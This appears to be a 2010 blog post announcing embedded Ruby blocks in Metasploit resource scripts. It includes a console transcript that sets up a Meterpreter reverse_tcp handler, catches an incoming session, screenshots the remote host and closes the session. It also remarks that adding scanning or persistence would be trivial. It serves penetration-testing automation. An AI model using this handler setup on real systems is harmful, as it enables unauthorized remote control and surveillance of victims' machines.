The Metasploit Console (msfconsole) has supported the concept of resource files for quite some time. A resource file is essentially a batch script for Metasploit; using these files you can automate common tasks. If you create a resource script called ~/.msf3/msfconsole.rc, it will automatically load each time you start the msfconsole interface. This is a great way to automatically connect to a database and set common parameters (setg PAYLOAD, etc). Until this morning, however, resource scripts were limited to simple console commands.

As of revision r8876, blocks of Ruby code can now be directly inserted into the resource scripts. This turns resource scripts into a generic automation platform for the Metasploit Framework.

In this example, the resource script configures a multi/handler instance to run in the background, and then automatically screenshots and closes incoming sessions. The full power of the Metasploit API is available within the  code blocks, so the sky is the limit in terms of what can be accomplished. Changing the example to nmap the target or install a persistent agent would be trivial and all normal console commands are still available within the  code block (run_single("help")).

$ ./msfconsole -r documentation/msfconsole_rc_ruby_example.rc
                _                  _       _ _
               | |                | |     (_) |
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
                            | |
                            |_|


       =[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 542 exploits - 295 auxiliary
+ -- --=[ 198 payloads - 23 encoders - 8 nops
       =[ svn r8873 updated today (2010.03.22)

resource (documentation/msfconsole_rc_ruby_example.rc)> use exploit/multi/handler
resource (documentation/msfconsole_rc_ruby_example.rc)> set PAYLOAD windows/meterpreter/reverse_tcp
resource (documentation/msfconsole_rc_ruby_example.rc)> set LPORT 4444
resource (documentation/msfconsole_rc_ruby_example.rc)> set LHOST 192.168.0.228
resource (documentation/msfconsole_rc_ruby_example.rc)> set ExitOnSession false

resource (documentation/msfconsole_rc_ruby_example.rc)> exploit -j
[*] Exploit running as background job.
[*] resource (documentation/msfconsole_rc_ruby_example.rc)> Ruby Code (589 bytes)
[*] [2010.03.22-09:19:38] Started reverse handler on 192.168.0.228:4444 
[*] [2010.03.22-09:19:38] Starting the payload handler...

[*] Waiting on an incoming sessions...
[*] [2010.03.22-09:19:40] Sending stage (748032 bytes)
[*] Meterpreter session 1 opened (192.168.0.228:4444 -> 192.168.0.138:16660)
[*] Session 1 192.168.0.138 active, but not yet configured
[*] Screenshotting session 1 192.168.0.138...
Screenshot saved to: /home/projects/metasploit/framework3/trunk/192.168.0.138_1.jpg
[*] Closing session 1 192.168.0.138...
[*] Meterpreter session 1 closed.